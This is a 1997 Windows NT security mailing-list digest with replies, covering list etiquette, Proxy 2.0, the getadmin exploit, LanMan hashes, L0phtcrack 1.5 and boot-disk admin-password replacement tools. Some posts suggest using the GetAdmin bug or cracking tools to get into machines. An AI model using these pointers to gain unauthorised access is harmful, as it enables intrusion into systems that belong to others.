> > Is there a command line tool to do the same with the audit policy,
> > for instance with all *.exe on a drive?
> >
> > Greetings
> >
> > Frank Heyne
> > http://rcswww.urz.tu-dresden.de/~fh/
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 10:22:56 +0000 (GMT)
> > From: Andreas Kostyrka 
> > Subject: Re: [NTSEC] Check This Out!!!!!!!!!!!1
> >
> > - -----BEGIN PGP SIGNED MESSAGE-----
> >
> > On Mon, 14 Jul 1997, David LeBlanc wrote:
> > > There is ENTIRELY too much noise on this list, and I do NOT want
> it
> > to
> > > devolve into a discussion of whether MS can, should, or is going
> to
> > conquer
> > > the rest of the known universe.
> > >
> > > PLEASE limit discussions to SECURITY related items.
> > This is longterm security. Business practices of your core
> technology
> > deliverer should be a concern, especially with not open property
> > solution because there is no alternative as there is with for
> example
> > UNIX.
> >
> > Andreas
> >
> > - -----BEGIN PGP SIGNATURE-----
> > Version: 2.6.3i
> > Charset: noconv
> >
> > iQEVAwUBM8tPg1GrPWwMHrE1AQFTrwf9F9wsOoFCSupGiH4JHYrI4sLlLrcHySo/
> > iGs5g9JUeaOMezLNf2x723wAbYA5XnnPviEZ1wGAkhNrPNjCltSTFw/AgJywrsPF
> > GTM0Ifs9IZeNebkNul5zz74vXbLotPhr+7Rck92nWLObYbyboeiJxWxtKKxUr9EL
> > FacCOY74k2xM3CG1REp1nAJLmER01mnwcd5XULxQUGNRZK9E89K3IkmGjLwvSzNA
> > JooVnV3wgppO2kNLBacvDhbBpmsLJzi2roYA7m/MEkjNxLquaXDymy/TrEIZpQpS
> > WNrSdyXDWMCiTcR7Da6wfFCayttK2rPlSsv7C1LQLIAHenMvNAdErA==
> > =bTn2
> > - -----END PGP SIGNATURE-----
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 08:05:24 -0400
> > From: abolin@email.mcc.edu
> > Subject: Re: [NTSEC] Seems To Me...
> >
> > Why is it so difficult to adhere to the rules of the mailing list?
> As
> >
> > dleblanc has repeatedly stated, the mailing list is for security
> > matters,
> > not flaming or personal opinions about the new MS World Order! He
> has
> >
> > recommended alternative mailing lists for those matters. Follow the
> > rules
> > or move on so the rest of us who do follow the rules are not
> subjected
> > to
> > mailboxes full of others' personal opinions.
> >
> > brandyjc@donet.com on 07/14/97 11:12:12 PM
> >
> > Please respond to brandyjc@donet.com
> >
> > To: ntsecurity@iss.net
> > cc: (bcc: Andy S Bolin/Mott)
> > Subject: [NTSEC] Seems To Me...
> >
> > It seems to me that at least as many bytes (if not more) are devoted
> > to
> > requests to stay on topic as are actually off topic. Just a
> thought.
> > Enjoying the list and learning a lot myself.
> > John
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 08:04:26 -0400
> > From: David LeBlanc 
> > Subject: Re: [NTSEC] Check This Out!!!!!!!!!!!1
> >
> > At 10:22 7/15/97 +0000, Andreas Kostyrka wrote:
> > >-----BEGIN PGP SIGNED MESSAGE-----
> > >
> > >On Mon, 14 Jul 1997, David LeBlanc wrote:
> >
> > >> PLEASE limit discussions to SECURITY related items.
> >
> > >This is longterm security. Business practices of your core
> technology
> >
> > >deliverer should be a concern, especially with not open property
> > >solution because there is no alternative as there is with for
> example
> >
> > >UNIX.
> >
> > The business practices of any vendor are NOT a proper topic for this
> > list.
> > It is an emotionally charged issue, and leads to nothing but
> > flame-wars.
> > The people who subscribe to this list depend on it for security
> > related
> > information, some of which is time-critical. It may be a proper
> > concern,
> > but PLEASE discuss it somewhere else. There are a number of USENET
> > forums
> > which are quite adequate and deal with that topic constantly. It
> > usually
> > boils down to "They are the evil empire", "Are not", "Are too"
> (repeat
> > last
> > 2 until blue in face).
> >
> > If it doesn't directly have to do with maintaining information
> > security on
> > Windows NT, please post it elsewhere. We do not have time to
> moderate
> > the
> > list, but have been forced to do so in the past when flame-wars have
> > broken
> > out. I'd rather not see a repeat of that. I'm asking everyone to
> > _please_
> > be considerate of others and limit your posts to issues directly
> > related to
> > security - we've all got quite full mailboxes, and frankly, the less
> > junk I
> > have to wade through to find the important information the happier I
> > am.
> >
> > - -----------------------------------------------------------
> > David LeBlanc | Voice: (770)395-0150 x138
> > Internet Security Systems, Inc. | Fax: (404)395-1972
> > 41 Perimeter Center East | E-Mail: dleblanc@iss.net
> > Suite 660 | www: http://www.iss.net/
> > Atlanta, GA 30328 |
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:44:18 +0100
> > From: acr@als.co.uk (Alan C. Ramsbottom)
> > Subject: [NTSEC] MS Proxy 2 Beta
> >
> > This is now available from the MS proxy page:
> >
> > http://www.microsoft.com/proxy
> >
> > There are lot's of new features such as dynamic packet filtering and
> > real-time
> > alerts. A key point of interest is that the previous version (1.0)
> > explicitly
> > stated it was *not* a firewall, whereas Version 2 is now being
> pitched
> > as "The
> > First Integrated Content Cache and Firewall Server for Windows NT
> > Server 4.0".
> >
> > - --Alan--
> > acr@als.co.uk
> >
> > ------------------------------
> >
> > Date: Sun, 15 Jun 1997 15:26:16 +0100
> > From: Comms_Server 
> > Subject: [NTSEC] Getadmin
> >
> > Here's yet another question about getadmin :
> >
> > Is it possible to run the getadmin.exe in windows 95 and get it to
> > work
> > properly if the NT dll's it needs were copied into the
> > c:\windows\system
> > directory?
> >
> > If so, is there a patch available that will allow me to protect
> myself
> >
> > against this attack?
> >
> > Also, another quick question...Does anyone have CGI script or some
> > other
> > form of net source that will allow me to have a private page on my
> > site
> > that users can logon through..
> >
> > I.e. users will be able to access their own directories over the
> net.
> > How open to attack will this leave me. (I am planning to disable
> > logons
> > from administrator, setup, etc. Just bog standard users will have
> > access
> > to logon.
> >
> > thanks
> > Misha
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 11:52:57 -0400 (EDT)
> > From: "John \"E.R.\" Jasen" 
> > Subject: Re: [NTSEC] Check This Out!!!!!!!!!!!1
> >
> > > This is longterm security. Business practices of your core
> > technology
> > > deliverer should be a concern, especially with not open property
> > > solution because there is no alternative as there is with for
> > example
> > > UNIX.
> >
> > No, the technology as related to security or the business as related
> > to
> > security. Example: Microsoft releasing a new browser with
> > whizzy-fizz-bang
> > v2.6 is not news. Microsoft releasing a statement stating: "We're
> > insecure
> > and PROUD!" is.
> >
> > - --
> > "What do you want?" -- Mr. Morden, Microsoft Sales VP
> >
> > - -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> > - -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 10:02:20 -0700
> > From: David Trulli 
> > Subject: RE: [NTSEC] MS Proxy 2 Beta
> >
> > As people try the proxy 2.0 beta I would like to hear your feedback
> > on
> > how you like the new security features.
> >
> > Dave
> >
> > > -----Original Message-----
> > > From: acr@als.co.uk [SMTP:acr@als.co.uk]
> > > Sent: Tuesday, July 15, 1997 9:44 AM
> > > To: ntsecurity@iss.net; NTBUGTRAQ@RC.ON.CA
> > > Subject: [NTSEC] MS Proxy 2 Beta
> > >
> > > This is now available from the MS proxy page:
> > >
> > > http://www.microsoft.com/proxy
> > >
> > > There are lot's of new features such as dynamic packet filtering
> and
> >
> > > real-time
> > > alerts. A key point of interest is that the previous version (1.0)
> > > explicitly
> > > stated it was *not* a firewall, whereas Version 2 is now being
> > pitched
> > > as "The
> > > First Integrated Content Cache and Firewall Server for Windows NT
> > > Server 4.0".
> > >
> > > --Alan--
> > > acr@als.co.uk
> > >
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:47:13 GMT
> > From: "Dieter Spaar" 
> > Subject: Re: [NTSEC] Boot Disk password changer
> >
> > In article you write:
> > >
> > > I was able to use the utility with SP3 so long as Syskey wasn't
> > installed.
> > >
> > > -luke
> > >
> > > >The utility doens't work with SP3 ...
> >
> > Of course there are other bootdisk tools to replace the admin
> password
> >
> > that even work if system key security has been turned on.
> >
> > One of them is NTAccess but it is not free. More info is availabel
> at
> > www.mirider.com.
> >
> > Best regards,
> > Dieter
> > - --
> > Dieter Spaar, Germany
> > spaar@mirider.augusta.de
> > If address above fails: spaar@mirider.com
> >
> > *** Replace Windows NT admin password: http://www.mirider.com
> ***
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 18:51:39 +0100
> > From: acr@als.co.uk (Alan C. Ramsbottom)
> > Subject: Re: [NTSEC] new post SP3 hotfix: lm-fix
> >
> > On 14 Jul 97 at 0:37, Alan C. Ramsbottom wrote:
> >
> > > The presence of the LanMan authentication data negates much of the
> > > effect of using a 'strong' password, and by removing it from the
> > > challenge/response, a brute-force attack will typically take much
> > > longer.
> >
> > A little more detail is called for; by "much" I really meant several
> > orders
> > of magnitude longer e.g. in order to get the password equivalent NT
> > OWF for a
> > strong password, it would take an average of about two thousand
> years
> > (assuming a relatively generous "crack rate" of one million attempts
> > per
> > second on a typical high-end desktop machine).
> >
> > > PS: Could some NT device driver/kernel guru please explain "ring
> 0"?
> >
> > PS: Many thanks to everyone who sent me some very good explanations
> > privately. Although I knew about the kernel/user mode concepts, I'd
> > never heard the term "ring 0" before.
> >
> > Regards,
> >
> > - --Alan--
> > acr@als.co.uk
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 12:58:14 -0500
> > From: Mike Adams 
> > Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
> >
> > Does anyone have any feedback or knowledge on using Proxy 2.0 with
> > Steelhead? Can you use proxy with steelhead if you have a ISDN
> modem
> >
> > connected to a NT server as a dial on demand router? In other
> words
> > does
> > Proxy require two NIC cards or will it use the RAS / WAN connection?
> >
> > Any ideas?
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:07:01 -0400
> > From: "Boyd, Bob" 
> > Subject: [NTSEC] Variable (User Name)
> >
> > I need to pass the variable for user name on to another application.
> > Does anyone have the information concerning what that variable is.
> >
> > Thanks,
> > Bob Boyd
> >
> > Information Security Officer
> > Kentucky Revenue Cabinet
> > Office (502)564-5200 X4492
> > Fax (502)564-9896
> > e-mail BBoyd@ mail.state.ky.us
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:36:50 -0400 (EDT)
> > From: "John \"E.R.\" Jasen" 
> > Subject: Re: [NTSEC] new post SP3 hotfix: lm-fix
> >
> > One question is: what, if anything, would this do to Samba?
> >
> > - --
> > "What do you want?" -- Mr. Morden, Microsoft Sales VP
> >
> > - -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> > - -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 11:51:09 -0700
> > From: David Trulli 
> > Subject: RE: [NTSEC] Steelhead / Proxy 2.0a Question...
> >
> > Proxy and steelhead complement each other well in that situation.
> You
> > can use the dial on demand to
> > provide the internet access.
> >
> > Dave
> >
> > > -----Original Message-----
> > > From: Mike Adams [SMTP:mikea@netropolis.net]
> > > Sent: Tuesday, July 15, 1997 1:58 PM
> > > To: 'ntsecurity@iss.net'
> > > Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
> > >
> > > Does anyone have any feedback or knowledge on using Proxy 2.0 with
> > > Steelhead? Can you use proxy with steelhead if you have a ISDN
> > modem
> > >
> > > connected to a NT server as a dial on demand router? In other
> > words
> > > does
> > > Proxy require two NIC cards or will it use the RAS / WAN
> connection?
> >
> > >
> > >
> > > Any ideas?
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 03:02:10 -0000
> > From: petar@escape.net.au (Petar Nikolich)
> > Subject: Re: [NTSEC] Steelhead / Proxy 2.0a Question...
> >
> > If you ferret through the docs you will find that the answer is -
> YES.
> >
> > There just need to be "TWO" networks. It doesn't matter what devices
> > each network is connected on, as long as RAS + Routing can find
> driver
> >
> > support for them. Proxy 2 is designed to cooperate with R&R
> services.
> > Again, its in the docs - errr dare I say - rtfm
> >
> > The security aspect seems much improved, well at least a lot more
> > options.
> >
> > - ----------
> > From: Mike Adams 
> > To: 'ntsecurity@iss.net'
> > Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
> > Date: Wednesday, July 16, 1997 1:58 AM
> >
> > Does anyone have any feedback or knowledge on using Proxy 2.0 with
> > Steelhead? Can you use proxy with steelhead if you have a ISDN
> modem
> >
> > connected to a NT server as a dial on demand router? In other
> words
> > does
> > Proxy require two NIC cards or will it use the RAS / WAN connection?
> >
> > Any ideas?
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 15:45:09 -0400
> > From: Eric Germann 
> > Subject: Re: [NTSEC] Variable (User Name)
> >
> > Hmmm, well if I go to a command prompt and type SET to dump them I
> get
> > ....
> >
> > USERNAME=xxxxxx
> >
> > At 02:07 PM 7/15/97 -0400, Boyd, Bob wrote:
> > >I need to pass the variable for user name on to another
> application.
> > >Does anyone have the information concerning what that variable is.
> > >
> > >
> > >Thanks,
> > >Bob Boyd
> > >
> > >Information Security Officer
> > >Kentucky Revenue Cabinet
> > >Office (502)564-5200 X4492
> > >Fax (502)564-9896
> > >e-mail BBoyd@ mail.state.ky.us
> > >
> > >
> > >
> >
> > =
> >
> ======================================================================
> ====
> >
> > ====
> > Eric Germann Computer and Communications
> > Technologies
> > ekgermann@cctec.com Van Wert, OH 45891
> > Phone: 419 968 2640
> > http://www.cctec.com Fax: 419 968 2641
> >
> > Network Design, Connectivity & System Integration Services
> > A Microsoft Solution Provider
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:52:11 -0600
> > From: "Frank Knobbe" 
> > Subject: RE: [NTSEC] MS Proxy 2 Beta
> >
> > - -----BEGIN PGP SIGNED MESSAGE-----
> >
> > On 15 Jul 97 at 10:02, David Trulli wrote about: RE: [NTSEC] MS
> > Proxy
> > 2 Beta
> >
> > > As people try the proxy 2.0 beta I would like to hear your
> > feedback
> > > on how you like the new security features.
> >
> > I think we all would like to hear about the improved security of
> Proxy
> >
> > 2.0. I hope results will be posted to this list...
> >
> > Frank
> >
> > - -----BEGIN PGP SIGNATURE-----
> > Version: 2.6.2
> >
> > iQCVAwUBM8vUacZP3ocmY5AlAQHQhwQAyOdO8Fw5QFsbZTFHGibgTDY9PT8tCNAp
> > IJXC1SidP+w6vGaCpovIrZFtXYSwUSV15nlcNQneB8Z1hwCYa4igmPUq3ivD2+R3
> > laCqVo+Roa0hg26Z3NhGjf1BiV9VMF3972V+LIe7AuLEo9sFbJ32K8CB25OnvBkN
> > JQ/PzhiPJFs=
> > =nMvo
> > - -----END PGP SIGNATURE-----
> > - -----BEGIN SPAM WARNING-----
> >
> > WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
> > VIA EMAIL WILL BE ADDED TO A FILTER LIST, WHICH WILL
> > AUTOMATICALLY DELETE EVERY MAIL FROM THE SENDER.
> > THIS WILL DISABLE FURTHER CORRESPONDENCE.
> > PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
> > THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
> > EMAIL LIST.
> >
> > - -----END SPAM WARNING-----
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 19:19:10 -0400
> > From: 0x486578 <486578@ilinks.net>
> > Subject: [NTSEC] [Fwd: L0phtcrack 1.5]
> >
> > Received: from brimstone.netspace.org (brimstone.netspace.org
> > [128.148.157.143]) by serv2.ilinks.net (8.8.5/8.6.12) with ESMTP id
> > QAA19644; Tue, 15 Jul 1997 16:13:15 -0400 (EDT)
> > Received: from unknown@netspace.org (port 6919 [128.148.157.6]) by
> > brimstone.netspace.org with ESMTP id <35424-19870>; Tue, 15 Jul 1997
> > 15:53:59 -0400
> > Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release
> > 1.8c) with
> > spool id 4374554 for BUGTRAQ@NETSPACE.ORG; Tue, 15 Jul
> 1997
> > 15:46:02
> > -0400
> > Received: from l0pht.com (l0pht.com [199.201.145.1]) by netspace.org
> > (8.8.5/8.8.2) with ESMTP id PAA28578 for
> > ; Tue,
> > 15 Jul 1997 15:45:53 -0400
> > Received: from localhost (mudge@localhost) by l0pht.com
> (8.8.5/8.8.4)
> > with SMTP
> > id PAA01961 for ; Tue, 15 Jul 1997
> > 15:48:53
> > -0400
> > MIME-Version: 1.0
> > Approved-By: Who cares what the hell goes into a Gecos field
> anyway!
> > 
> > Message-ID: 
> > Date: Tue, 15 Jul 1997 15:48:52 -0400
> > Illegal-Object: Syntax error in Reply-To: address found on
> > brimstone.netspace.org:
> > Reply-To: Who cares what the hell goes into a Gecos
> > field anyway! 
> >
> > ^ ^-missing end
> of
> > address
> > \-extraneous tokens in address
> > Sender: Bugtraq List 
> > Illegal-Object: Syntax error in From: address found on
> > brimstone.netspace.org:
> > From: Who cares what the hell goes into a Gecos field
> > anyway! 
> > ^
> > ^-illegal special character in phrase
> > \-extraneous tokens in mailbox
> > Subject: L0phtcrack 1.5
> > From: 
> > To: BUGTRAQ@NETSPACE.ORG
> > Content-Type: TEXT/PLAIN; charset=US-ASCII
> > 
> >
> > Greets everyone,
> >
> > A couple of things that I haven't changed in the below announcement
> > since
> > weld was kind enough to do it while I was at DefCon.
> >
> > 1) Microsoft now has a "fix" based upon this information - we will
> see
> > if
> > they provide proper credit. Though I know of no sites that would be
> > able
> > to widely deploy this patch.
> >
> > 2) SMB signing (ie SP3) can be broken in the same way that we attack
> > the
> > "challenge-response".
> >
> > 3) the times posted below are for intel. The UltraSparc times are
> much
> >
> > much faster.
> >
> > 4) The Challenge response is just as 'brute-force'-able as without
> > this
> > extra 'obfuscation' level.
> >
> > Full program including source and binaries
> > can be found at:
> >
> > http://www.l0pht.com
> >
> > COMMERCIAL AND GOVERNMENT USERS PLEASE SEE THE END
> > OF THIS FILE FOR LICENSING INFORMATION. FOR YOU THIS
> > PROGRAM IS SHAREWARE, FOR ALL OTHERS IT IS FREE.
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 00:36:23 +0000 (GMT)
> > From: Andreas Kostyrka 
> > Subject: Re: [NTSEC] Getadmin
> >
> > - -----BEGIN PGP SIGNED MESSAGE-----
> >
> > On Sun, 15 Jun 1997, Comms_Server wrote:
> >
> > > Here's yet another question about getadmin :
> > >
> > > Is it possible to run the getadmin.exe in windows 95 and get it to
> > work
> > > properly if the NT dll's it needs were copied into the
> > c:\windows\system
> > > directory?
> > Since when does Win95 have a notion of Admin? (It may have one in a
> > domain, but this applies to the NT boxes, not the Win95 ones,
> right?)
> >
> > Andreas
> >
> > - -----BEGIN PGP SIGNATURE-----
> > Version: 2.6.3i
> > Charset: noconv
> >
> > iQEVAwUBM8wXiVGrPWwMHrE1AQEKvQf9EaUmkO70EySs3Ja9hQ64Brk3oSUBFAaf
> > p+bbiV5HtlldgwwYc/cTbmWySfCnAn8AZ0ThS9yb3dv/nGZuE7AgYk/KHBqm9HR8
> > TXjnGgJ7xXqFrbVYrp8DpGT82D36yZUZF/7jrKraSTtdahux8E++2rCndSsEeg8+
> > pLIUdjGuQ/FKeQX4skwC6wPcgqcPjaxTWojulZY/Ru2Sw8eWdKHdyGetMTir8uI/
> > RL6+DgrnMiC4dKrr+dSsq7tUio589xUeOevXUcb6ClKA49DkTJElsMHqChTRMQsk
> > uJkMEorB9bBWDekh1emt88NQHCQ4TuEOel+BeqgCmtddQWDCLjrqPA==
> > =zKWM
> > - -----END PGP SIGNATURE-----
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 15:16:13 -0800
> > From: Martin Declan Kelly 
> > Subject: [NTSEC] Secure FTP
> >
> > A while ago someone mentioned a more secure NT FTP server that you
> > could
> > configure to drop a user into their home directory rather than IIS's
> > "ftproot" but I can't for the life of me remember what it was
> > called... any
> > takers?
> >
> > Martin
> >
> > ______
> > _________________________________________________________________
> > T E L E P O R T W E B M A S T E
> > R
> >
> > Teleport Internet Services | 319 SE Washington #305 | Portland, OR
> > 97204
> > Phone (503) 223-0076 | Fax (503) 223-4372 | Email
> > webmaster@teleport.com
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 13:59:08 -0400
> > From: Christopher.Padilla@entex.com
> > Subject: [NTSEC] NET commands
> >
> >
> > NT friends,
> >
> > I am looking for a way to use the NET commands to provide me
> with
> >
> > security for a \\SERVER or a /DOMAIN. If you have the magic
> key
> > sequences please forward them to me.
> >
> > Thanks,
> > Chris
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 97 08:30:21 +0800
> > From: Virendra.Mantri~mantri01@mhs.us.swissbank.com
> > Subject: Re: [NTSEC] Variable (User Name)
> >
> >
> > The variable is USERNAME. I guess, you will have to refer to
> it
> > as
> > %USERNAME% if your are writing a simple DOS script.
> >
> > Execute the command 'set' at the DOS prompt, and you will see
> all
> > the
> > environmental variables.
> >
> > Cheers,
> > Viren
> >
> > ______________________________ Reply Separator
> > _________________________________
> > Subject: [NTSEC] Variable (User Name)
> > Author: BBOYD (BBOYD@mail.state.ky.us) at unix,mime
> > Date: 16/7/97 2:07 AM
> >
> > I need to pass the variable for user name on to another application.
> > Does anyone have the information concerning what that variable is.
> >
> >
> > Thanks,
> > Bob Boyd
> >
> > Information Security Officer
> > Kentucky Revenue Cabinet
> > Office (502)564-5200 X4492
> > Fax (502)564-9896
> > e-mail BBoyd@ mail.state.ky.us
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 97 09:11:56 EST
> > From: msee@CCMGATE.PERPETUAL.COM.AU
> > Subject: Re: [NTSEC] Getadmin
> >
> > Hi Misha,
> >
> > Banyan Systems Australia just announced a product that allows
> > users to
> > access their LAN from the Internet by logging into a personal
> web
> >
> > page.
> >
> > From "The Australian" newspaper, Tuesday 15 July 1997:
> > ---
> > "That will take you back through your firewall to your
> Corporate
> > network ..."
> > "... based on the Windows NT platform and sits behind the
> network
> >
> > firewall."
> > "It acts as an interpreter between user requests and the
> network,
> >
> > providing SSL encryption and verifying users with digital
> > certificates."
> > "... costs AU$7850 for up to 25 users and AU$23,560 for up to
> > 100."
> > ---
> >
> > I'm interested in any similar technologies, so keep us posted.
> >
> > Regards,
> > Matthew See - Internet Administrator
> > Perpetual Trustees Australia
> >
> > ______________________________ Reply Separator
> > _________________________________
> > Subject: [NTSEC] Getadmin
> > Author: Comms_Server at INTERNET
> > Date: 16/7/97 8:53 AM
> >
> > Here's yet another question about getadmin :
> >
> > Is it possible to run the getadmin.exe in windows 95 and get it to
> > work
> > properly if the NT dll's it needs were copied into the
> > c:\windows\system
> > directory?
> >
> > If so, is there a patch available that will allow me to protect
> myself
> >
> > against this attack?
> >
> > Also, another quick question...Does anyone have CGI script or some
> > other
> > form of net source that will allow me to have a private page on my
> > site
> > that users can logon through..
> >
> > I.e. users will be able to access their own directories over the
> net.
> > How open to attack will this leave me. (I am planning to disable
> > logons
> > from administrator, setup, etc. Just bog standard users will have
> > access
> > to logon.
> >
> > thanks
> > Misha
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 08:53:57 +0800
> > From: Stephen Cooper 
> > Subject: Re: [NTSEC] Lost Administrator Password
> >
> > Try this
> > http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html
> >
> > Tim Chovanak (Digital Equipment Corporation) wrote:
> >
> > > What version, and do you know of any other accounts on the box?
> > >
> > > If it's 3.51 and Guest is enabled (default), you might be able to
> > put
> > > the recent GetAdmin bug to use, if it works on 3.51 boxes.
> > >
> > > > -----Original Message-----
> > > > From: Ronald Golden [SMTP:rgolden@akamail.com]
> > > > Sent: Wednesday, July 09, 1997 2:57 PM
> > > > To: NT Security Mailing List (E-mail)
> > > > Subject: [NTSEC] Lost Administrator Password
> > > >
> > > > We had a user with the administrator password on a NT standalone
> > > > workstation get fired. He was the only one with the password.
> Is
> >
> > > > there
> > > > anyway to get into this machine, or are we hosed?
> > > >
> > > > On another note. Yesterday, I sent out an e mail to my address
> > > book,
> > > > the
> > > > purpose of which was to transfer names to my Netscape e mail. I
> > > > accidentally included this list in the mailing. I sincerely
> > > apologize
> > > > for
> > > > any inconvenience it caused. I only sent it once. I don't know
> > why
> > >
> > > > it got
> > > > sent so many times. It was not intentional. I even waited
> until
> > I
> > > > had
> > > > something to post to send this apology. Thanks.
> > > >
> > > > Ronald Golden
> > > > rgolden@akamail.com
> > > >
> > > > -----BEGIN PGP PUBLIC KEY BLOCK-----
> > > > Version: 2.6.2
> > > >
> > > > mQCNAzMBGQcAAAEEAPaV49Ge3Y4nQFn3rDrafDR8iy1SjDM49Sdtc2pg3+X06mG5
> > > > cxQbYhBMmLTGsAIYGOrCs0zd5XEE4ny6AxYhId0b/SxcX8dcs8sHr9q1vW14sWo8
> > > > wMyF6JkafJvVvusRXQi7jrBu9obPYbeR9zwJOHAZiC4YByHvzvnfcgvl/rYlAAUR
> > > > tCZSb25hbGQgUy4gR29sZGVuIDxyZ29sZGVuQGFrYW1haWwuY29tPg==
> > > > =qRI0
> > > > -----END PGP PUBLIC KEY BLOCK-----
> >
> > - --
> > Stephen Cooper 
> > Internet Engineer, Internet and Open Systems Group
> > AlphaWest, Level 10, QV1 Building, 250 St Georges Tce, Perth, WA
> 6000
> > Main: (+61 8) 94296000 Fax: (+61 8) 94296030
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 11:55:40 +1000
> > From: Manoj Nayar 
> > Subject: RE: [NTSEC] [Fwd: L0phtcrack 1.5]
> >
> > have used it..requires a lot or processor oomph for brute force.
> Pulls
> >
> > the SAM down form any machine easily though...net Admin privillages
> > though.
> >
> > >----------
> > >From: 0x486578[SMTP:486578@ilinks.net]
> > >Sent: Wednesday, July 16, 1997 9:19 AM
> > >To: ntsecurity@iss.net
> > >Subject: [NTSEC] [Fwd: L0phtcrack 1.5]
> > >
> > ><>
> > >
> > >
> >
> > ------------------------------
> >
> > End of ntsecurity-digest V2 #588
> > ********************************
> 
> 
> 
> 
> 




Some people have been having trouble getting www.asmodeus.com to resolve.

Please try the IP:
204.188.52.99

Sorry for the inconvenience.

-Greg Hoglund
hoglund@ieway.com

p.s. If you didn't catch the earlier post, asmodeus is a port scanner for
Windows NT. Please download a copy and let me know what you think. It's
pretty fast.

cacls.exe comes with nt. it allows use of f,c,r rights. for full
flexibility use xcacls.exe that comes with the addendum to the server
4.0 resource kit.


> -----Original Message-----
> From: Jay Urbanski [SMTP:strops@well.com]
> Sent: Wednesday, July 16, 1997 3:17 PM
> To: ntsecurity@iss.net
> Subject: [NTSEC] Need utitlity to assign user right from command
> line
> 
>  Well the topic says it all.  I need to grant advanced user rights for
> a 6000 server roll-out, and I don't look forward to doing click,
> click, click 6000 times.  Does anyone know of a utitlity to grant user
> rights to groups and users from a command line?
> 
> Jay Urbanski
> strops@well.com 
> 
I have encountered a similar problem wint NT 3.51 that occurs when
Adaptec 2940UW's (two) were used with 3com E-II PCI or ISA cards. The
dump always shows the SCSI drivers as processing requests at the time of
dump. Note that the problem was reproduced on both single and
multi-processor systems. Since I used a variety of Pentium and Pentium
Pro boards that were not on MicroSoft's *approved* list (although they
were approved for Solaris), Microsoft told me to fuck off.

I moved NT onto a 2gb IDE and use the scsi's as before (i.e. the core NT
binaries and swap are on the IDE) and the problem *almost* went away.
Once in a while (when I am doing heavy disk activity) I see the same
problem. I have not had the server fail while doing any http activity. 

There were no conflicts between interrupts as reported by the
diagnostics tool.

If your environment is significantly different, it may not apply.


ntsecurity-digest wrote:
> 
> ntsecurity-digest Sunday, July 13 1997 Volume 02 : Number 585
> 
> [To unsubscribe from this list send the message "unsubscribe ntsecurity-digest"
> in the BODY of a mail message to majordomo@iss.net. Do NOT send majordomo
> requests to the mailing list.]
> 
> ----------------------------------------------------------------------
> 
> Date: Sat, 12 Jul 1997 16:19:18 +1000
> From: "Peter Webb" 
> Subject: [NTSEC] Possible Security Attack
> 
> Hi,
> 
> I am running a system with two Pentium Pro 200 CPUS on an Intel PR440FX
> motherboard. The problem I am having is that every few hours the entire
> system will just lock up solid and I have to reboot. There are no entries
> in the logs to say what might be going on.
> 
> Does this sound like an OOB attack or something similar?
> 
> Any help would be appreciated.
> 
> Thanks,
> 
> Peter Webb - B.App.Sci (Comp Sci)
> System Administrator - Audiophiles Paradise Internet
> Email - pwebb@vds.net.au
> 
> ------------------------------
> 
> Date: Sat, 12 Jul 1997 07:07:11 -0700
> From: David Trulli 
> Subject: RE: [NTSEC] Re: Possible WINS attack?
> 
> A few thoughts.
> 
> WINS is a dynamic name service and as such any client can register with
> the WINS server using the UDP based names resolution protocols for
> netbios.
> 
> WINS servers should not be live on the Internet. This is really an
> Intranet name service.
> 
> WINS Administration and replication is done via RPC.
> 
> The administration occurs over secure RPC and access is authenticated.
> 
> WINS operates in a push/pull fashion but all data is really pulled from
> replication partners. By default you only replicate with configured
> partners. A WINS server connects to its replication partners by IP
> address based on a pull time interval or
> after push notification from a partner.
> 
> Dave
> 
> > -----Original Message-----
> > From: John "E.R." Jasen [SMTP:jjasen1@umbc.edu]
> > Sent: Friday, July 11, 1997 4:35 PM
> > To: ntsecurity@iss.net
> > Subject: [NTSEC] Re: Possible WINS attack?
> >
> > BTW, the server is NT4.0+SP3+oobfix+icmpfix+getadminfix+LSAfix.
> >
> > On Fri, 11 Jul 1997, John "E.R." Jasen wrote:
> >
> > > After portscanning one of my NT4.0 servers (running as a BDC, also
> > running
> > > WINS and DHCP), I noticed that it detected port 42.
> > >
> > > Being bored, I telnetted to mybackupdomaincontroller.mysite.com 42,
> > typed
> > > in some gibberish, and hit .
> > >
> > > The following error appeared in the event-log:
> > > Source: WINS
> > > Category: None
> > > Event: 4306
> > > User: N/A
> > > Computer: mybackupdomaincontroller
> > >
> > > Description:
> > > The length of the message sent by another WINS indicates a very big
> > > message. There may have been a corruption of the data on the wire.
> > WINS
> > > will ignore this message, terminate the connection with the remote
> > WINS,
> > > and continue on.
> > >
